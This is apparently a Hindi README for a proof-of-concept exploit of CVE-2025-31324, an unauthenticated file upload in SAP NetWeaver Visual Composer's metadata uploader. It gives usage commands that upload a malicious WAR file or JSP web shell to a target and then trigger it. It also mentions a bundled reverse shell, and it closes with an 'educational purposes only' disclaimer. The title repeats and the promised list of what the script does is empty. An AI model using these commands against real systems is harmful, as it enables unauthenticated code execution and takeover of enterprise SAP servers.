
CVE-2025-31324 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: SAP NetWeaver Visual Composer मेटाडेटा अपलोडर में अप्रमाणित अपलोड
CVE-2025-31324 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: SAP NetWeaver Visual Composer Metadata Uploader में बिना प्रमाणीकरण के अपलोड
यह स्क्रिप्ट निम्न कार्य करती है:
उपयोग उदाहरण:
python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal
python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https
यदि आप उसी तरह से निष्पादित करना चाहते हैं, तो आपके पास .war फ़ाइल अपलोड करने की भी क्षमता है। cache.jsp एक रिवर्स शेल है जो सिस्टम के अंदर पहुँचने पर आपको एक्सेस देगा। (अभी भी वहाँ समस्याओं का समाधान किया जा रहा है)
यह केवल शैक्षिक उद्देश्यों के लिए है और इसका उपयोग किसी भी दुर्भावनापूर्ण गतिविधि के लिए नहीं किया जाना चाहिए। सुरक्षा कमजोरियों का परीक्षण या शोध करते समय हमेशा सुनिश्चित करें कि आपके पास आवश्यक अनुमतियाँ हैं और नैतिक दिशानिर्देशों का पालन करें।
किसी भी प्रश्न या स्पष्टीकरण के लिए, बेझिझक संपर्क करें। सावधान और सुरक्षित रहें!